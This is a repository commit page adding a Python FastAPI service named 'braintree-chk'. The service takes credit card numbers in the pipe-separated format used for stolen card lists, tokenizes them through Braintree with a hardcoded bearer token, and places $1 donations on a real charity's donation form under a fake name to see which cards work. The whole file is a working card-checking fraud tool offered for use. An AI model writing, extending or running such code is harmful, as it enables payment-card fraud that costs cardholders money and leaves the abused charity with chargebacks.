rkihacker commited on
Commit
af3ed1b
·
verified ·
1 Parent(s): c6faaa0

Create main.py

Browse files
Files changed (1) hide show
  1. main.py +204 -0
main.py ADDED
@@ -0,0 +1,204 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from fastapi import FastAPI, HTTPException
2
+ from pydantic import BaseModel
3
+ import requests
4
+ import uuid
5
+ from faker import Faker
6
+ import re
7
+
8
+ app = FastAPI()
9
+ fake = Faker()
10
+
11
+ # API endpoints
12
+ BRAINTREE_API_URL = "https://payments.braintree-api.com/graphql"
13
+ DONATION_API_URL = "https://www.kiusa.org/?givewp-route=donate&givewp-route-signature=6e7056237cf4f9e3c054d7723aac17e0&givewp-route-signature-id=givewp-donate&givewp-route-signature-expiration=1760437730"
14
+
15
+ # Headers for Braintree API (replace authorization token with a valid one for real use)
16
+ BRAINTREE_HEADERS = {
17
+ "accept": "*/*",
18
+ "accept-language": "en-US,en;q=0.9,ru;q=0.8",
19
+ "authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiIsImtpZCI6IjIwMTgwNDI2MTYtcHJvZHVjdGlvbiIsImlzcyI6Imh0dHBzOi8vYXBpLmJyYWludHJlZWdhdGV3YXkuY29tIn0.eyJleHAiOjE3NjAzODAyNjYsImp0aSI6ImQ4ZTU0YWVhLTBjYWYtNDgyNy1iYzdhLTBmZGVmYmNkNjU3OSIsInN1YiI6IjkzNW16dGRndmdqNjVnbWciLCJpc3MiOiJodHRwczovL2FwaS5icmFpbnRyZWVnYXRld2F5LmNvbSIsIm1lcmNoYW50Ijp7InB1YmxpY19pZCI6IjkzNW16dGRndmdqNjVnbWciLCJ2ZXJpZnlfY2FyZF9ieV9kZWZhdWx0Ijp0cnVlLCJ2ZXJpZnlfd2FsbGV0X2J5X2RlZmF1bHQiOmZhbHNlfSwicmlnaHRzIjpbIm1hbmFnZV92YXVsdCJdLCJzY29wZSI6WyJCcmFpbnRyZWU6VmF1bHQiLCJCcmFpbnRyZWU6Q2xpZW50U0RLIl0sIm9wdGlvbnMiOnt9fQ.Upc3xPht1ZZ1mfwQlhwhasXVRdDY2Qe6He62WgJINTAQPpWH7xNGoejuSpEarooYhQI6Lo9frMq_05oxIJ9MNg", # Truncated for example
20
+ "braintree-version": "2018-05-10",
21
+ "content-type": "application/json",
22
+ "origin": "https://assets.braintreegateway.com",
23
+ "referer": "https://assets.braintreegateway.com/",
24
+ "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
25
+ }
26
+
27
+ # Headers for donation API
28
+ DONATION_HEADERS = {
29
+ "authority": "www.kiusa.org",
30
+ "accept": "application/json",
31
+ "accept-encoding": "gzip, deflate, br, zstd",
32
+ "accept-language": "en-US,en;q=0.9,ru;q=0.8",
33
+ "origin": "https://www.kiusa.org",
34
+ "referer": "https://www.kiusa.org/?givewp-route=donation-form-view&form-id=2992&locale=en_US",
35
+ "sec-ch-ua": '"Not;A=Brand";v="99", "Google Chrome";v="139", "Chromium";v="139"',
36
+ "sec-ch-ua-mobile": "?0",
37
+ "sec-ch-ua-platform": '"Windows"',
38
+ "sec-fetch-dest": "empty",
39
+ "sec-fetch-mode": "cors",
40
+ "sec-fetch-site": "same-origin",
41
+ "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36",
42
+ "content-type": "multipart/form-data; boundary=----WebKitFormBoundary6NrWWrdqTSFaZ8Wq"
43
+ }
44
+
45
+ class CardInput(BaseModel):
46
+ card_details: str
47
+
48
+ def parse_card_input(card_input: str):
49
+ """Parse user-provided card details in format cc|mm|yy|cvv."""
50
+ if not re.match(r"^\d+\|\d{1,2}\|\d{2}\|\d{3,4}$", card_input):
51
+ raise ValueError("Invalid format. Use cc|mm|yy|cvv (e.g., 4737034069082783|05|27|713)")
52
+ try:
53
+ number, month, year, cvv = card_input.split("|")
54
+ number = number.strip()
55
+ month = month.strip()
56
+ year = f"20{year.strip()}" # Convert 2-digit year to 4-digit
57
+ cvv = cvv.strip()
58
+ # Basic validation
59
+ if not (number.isdigit() and 12 <= len(number) <= 19):
60
+ raise ValueError("Invalid card number")
61
+ if not (month.isdigit() and 1 <= int(month) <= 12):
62
+ raise ValueError("Invalid expiration month")
63
+ if not (year.isdigit() and len(year) == 4):
64
+ raise ValueError("Invalid expiration year")
65
+ if not (cvv.isdigit() and len(cvv) in [3, 4]):
66
+ raise ValueError("Invalid CVV")
67
+ return {
68
+ "number": number,
69
+ "cardholderName": "", # Not provided in format, left empty
70
+ "expirationMonth": month.zfill(2), # Ensure 2 digits
71
+ "expirationYear": year,
72
+ "cvv": cvv,
73
+ "postalCode": fake.zipcode() # Generate random postal code
74
+ }
75
+ except ValueError as e:
76
+ raise ValueError(f"Error parsing card details: {str(e)}")
77
+
78
+ def create_graphql_payload(card_details):
79
+ """Create GraphQL payload for tokenizing credit card."""
80
+ session_id = str(uuid.uuid4())
81
+ payload = {
82
+ "clientSdkMetadata": {
83
+ "source": "client",
84
+ "integration": "dropin2",
85
+ "sessionId": session_id
86
+ },
87
+ "query": """
88
+ mutation TokenizeCreditCard($input: TokenizeCreditCardInput!) {
89
+ tokenizeCreditCard(input: $input) {
90
+ token
91
+ creditCard {
92
+ bin
93
+ brandCode
94
+ last4
95
+ cardholderName
96
+ expirationMonth
97
+ expirationYear
98
+ binData {
99
+ prepaid
100
+ healthcare
101
+ debit
102
+ durbinRegulated
103
+ commercial
104
+ payroll
105
+ issuingBank
106
+ countryOfIssuance
107
+ productId
108
+ }
109
+ }
110
+ }
111
+ }
112
+ """,
113
+ "variables": {
114
+ "input": {
115
+ "creditCard": {
116
+ "number": card_details["number"],
117
+ "expirationMonth": card_details["expirationMonth"],
118
+ "expirationYear": card_details["expirationYear"],
119
+ "cvv": card_details["cvv"],
120
+ "billingAddress": {
121
+ "postalCode": card_details["postalCode"]
122
+ }
123
+ },
124
+ "options": {
125
+ "validate": False
126
+ }
127
+ }
128
+ },
129
+ "operationName": "TokenizeCreditCard"
130
+ }
131
+ return payload
132
+
133
+ def check_card(card_details):
134
+ """Send card details to Braintree API and return response."""
135
+ payload = create_graphql_payload(card_details)
136
+ try:
137
+ response = requests.post(BRAINTREE_API_URL, headers=BRAINTREE_HEADERS, json=payload)
138
+ response.raise_for_status()
139
+ return response.json()
140
+ except requests.exceptions.RequestException as e:
141
+ return {"error": f"Braintree request failed: {str(e)}"}
142
+
143
+ def create_donation_payload(token):
144
+ """Create multipart/form-data payload for donation request."""
145
+ boundary = "----WebKitFormBoundary6NrWWrdqTSFaZ8Wq"
146
+ fields = [
147
+ ("amount", "1"),
148
+ ("currency", "USD"),
149
+ ("donationType", "single"),
150
+ ("formId", "2992"),
151
+ ("gatewayId", "braintree"),
152
+ ("firstName", "Rambo"),
153
+ ("lastName", "Rami"),
154
+ ("email", "niansuhai@proton.me"),
155
+ ("donationBirthday", ""),
156
+ ("originUrl", "https://www.kiusa.org/donations/donate-today/"),
157
+ ("isEmbed", "true"),
158
+ ("embedId", "2992"),
159
+ ("locale", "en_US"),
160
+ ("gatewayData[give-braintree-drop-in-nonce]", token)
161
+ ]
162
+ body = ""
163
+ for name, value in fields:
164
+ body += f"--{boundary}\r\nContent-Disposition: form-data; name=\"{name}\"\r\n\r\n{value}\r\n"
165
+ body += f"--{boundary}--\r\n"
166
+ return body.encode("utf-8")
167
+
168
+ def send_donation_request(token):
169
+ """Send donation request to kiusa.org with the tokenized card."""
170
+ payload = create_donation_payload(token)
171
+ try:
172
+ response = requests.post(DONATION_API_URL, headers=DONATION_HEADERS, data=payload)
173
+ response.raise_for_status()
174
+ return response.json()
175
+ except requests.exceptions.RequestException as e:
176
+ return {"error": f"Donation request failed: {str(e)}"}
177
+
178
+ @app.post("/braintree-chk")
179
+ async def check_card_endpoint(card_input: CardInput):
180
+ """Endpoint to check credit card details and process donation."""
181
+ try:
182
+ card_details = parse_card_input(card_input.card_details)
183
+ braintree_response = check_card(card_details)
184
+ token = None
185
+ if braintree_response.get("data", {}).get("tokenizeCreditCard"):
186
+ token = braintree_response["data"]["tokenizeCreditCard"]["token"]
187
+ donation_response = {"error": "No token generated"} if not token else send_donation_request(token)
188
+
189
+ result = {
190
+ "card_details": {
191
+ "last4": card_details["number"][-4:],
192
+ "expiration": f"{card_details['expirationMonth']}/{card_details['expirationYear']}",
193
+ "cvv": card_details["cvv"],
194
+ "postalCode": card_details["postalCode"]
195
+ },
196
+ "braintree_response": braintree_response,
197
+ "donation_response": donation_response
198
+ }
199
+ return result
200
+ except ValueError as e:
201
+ raise HTTPException(status_code=400, detail=str(e))
202
+ except Exception as e:
203
+ raise HTTPException(status_code=500, detail=f"Server error: {str(e)}")
204
+